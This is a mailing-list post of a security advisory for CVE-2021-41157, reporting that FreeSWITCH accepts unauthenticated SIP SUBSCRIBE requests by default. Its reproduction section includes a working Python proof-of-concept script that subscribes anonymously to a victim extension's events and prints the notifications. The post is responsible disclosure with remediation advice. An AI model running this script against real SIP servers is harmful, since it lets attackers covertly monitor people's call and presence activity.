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[FD] [ES2021-08] FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default
- To: oss-security@xxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx, fulldisclosure@xxxxxxxxxxxx, voipsec@xxxxxxxxxx, submissions@xxxxxxxxxxxxxxxxxxxxxxx, vuln@xxxxxxxxxxx, cert@xxxxxxxx
- Subject: [FD] [ES2021-08] FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default
- From: "Sandro Gauci" <sandro@xxxxxxxxxxxxxxxxxx>
- Date: Mon, 25 Oct 2021 16:24:09 +0200
# FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default
- Fixed versions: v1.10.7
- Enable Security Advisory:
https://github.com/EnableSecurity/advisories/tree/master/ES2021-08-freeswitch-SIP-SUBSCRIBE-without-auth
- Vendor Security Advisory:
https://github.com/signalwire/freeswitch/security/advisories/GHSA-g7xg-7c54-rmpj
- Other references: CVE-2021-41157
- Tested vulnerable versions: <= v1.10.5
- Timeline:
- Report date: 2021-06-07
- Triaged: 2021-06-08
- Fix provided for testing: 2021-10-01
- Vendor release with fix: 2021-10-24
- Enable Security advisory: 2021-10-25
## Description
By default, SIP requests of the type SUBSCRIBE are not authenticated in the
affected versions of FreeSWITCH. Although this issue was [fixed][1] in version
v1.10.6, installations upgraded to the fixed version of FreeSWITCH from an
older version, may still be vulnerable if the configuration is not updated
accordingly. For good reason, by default, software upgrades do not update the
configuration.
[1]:
https://github.com/signalwire/freeswitch/commit/b21dd4e7f3a6f1d5f7be3ea500a319a5bc11db9e
## Impact
Abuse of this security issue allows attackers to subscribe to user agent event
notifications without the need to authenticate. This abuse poses privacy
concerns and might lead to social engineering or similar attacks. For example,
attackers may be able to monitor the status of target SIP extensions.
## How to reproduce the issue
1. Install FreeSWITCH v1.10.5 or lower
2. Run FreeSWITCH using the default configuration
3. Register as a legitimate SIP user on the FreeSWITCH server using a softphone
(e.g. sip:1000@192.168.188.128 where 192.168.188.128 is your FreeSWITCH server)
4. Save the below Python script to `anon-subscribe.py`
5. Run the script from an IP address that is different from that of the
softphone `python anon-subscribe.py <freeswitch_ip> <freeswitch_port>
<victim_extension>`
6. Perform some operations using the softphone, such as deregistering,
registering, and placing a call
7. Observe that several notifications are received by the script, exposing the
actions being performed by the victim
```python
import socket, string, random, re, sys
UDP_IP = sys.argv[1]
UDP_PORT = int(sys.argv[2])
EXT = sys.argv[3]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg_template = "SUBSCRIBE sip:%s@%s;transport=UDP SIP/2.0\r\n" % (EXT, UDP_IP)
+ \
"Via: SIP/2.0/UDP [ip]:[port];rport;branch=z9hG4bK-[rand]\r\n" \
"Max-Forwards: 70\r\n" \
"Contact: <sip:%s@[ip]:[port];transport=udp>\r\n" % (EXT, ) + \
"To: <sip:%s@%s;transport=UDP>\r\n" % (EXT, UDP_IP) + \
"From: <sip:9999@%s;transport=UDP>;tag=[rand]\r\n" % (UDP_IP, ) + \
"Call-ID: [rand]\r\n" \
"CSeq: 1 SUBSCRIBE\r\n" \
"Expires: 600\r\n" \
"Accept: */*\r\n" \
"Event: [event]\r\n" \
"Content-Length: 0\r\n" \
"\r\n"
rand = ''.join(random.choice(string.ascii_letters) for i in range(16))
msg = msg_template.replace('[ip]', '127.0.0.1') \
.replace('[port]', '9999') \
.replace('[event]', 'dialog') \
.replace('[rand]', rand)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
recv=sock.recv(10240).decode()
# get rport and received from Via header
rport=re.search( r'rport=([0-9]+)', recv, re.MULTILINE).group(1)
received=re.search( r'received=([0-9\.]+)', recv, re.MULTILINE).group(1)
events = [
'talk', 'hold', 'conference', 'presence', 'as-feature-event', 'dialog',
'line-seize',
'call-info', 'sla', 'include-session-description', 'presence.winfo',
'message-summary',
'refer']
for event in events:
rand = ''.join(random.choice(string.ascii_letters) for i in range(16))
msg = msg_template.replace('[ip]', received) \
.replace('[port]', rport) \
.replace('[event]', event) \
.replace('[rand]', rand)
sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))
while True:
print(sock.recv(10240).decode().split('\r\n\r\n')[1])
```
## Solution and recommendations
Upgrade to a version of FreeSWITCH that fixes this issue.
Our suggestion to the FreeSWITCH developers was the following:
> Our recommendation is that SIP SUBSCRIBE messages are authenticated by
> default so that FreeSWITCH administrators do not need to explicitly set the
> `auth-subscriptions` parameter. When following such a recommendation, a new
> parameter can be introduced to explicitly disable authentication.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security
tools and provides quality penetration testing to help protect your real-time
communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of
publishing based on currently available information. Use of the information
constitutes acceptance for use in an AS IS condition. There are no warranties
with regard to this information. Neither the author nor the publisher accepts
any liability for any direct, indirect, or consequential loss or damage arising
from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy
which can be found at
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
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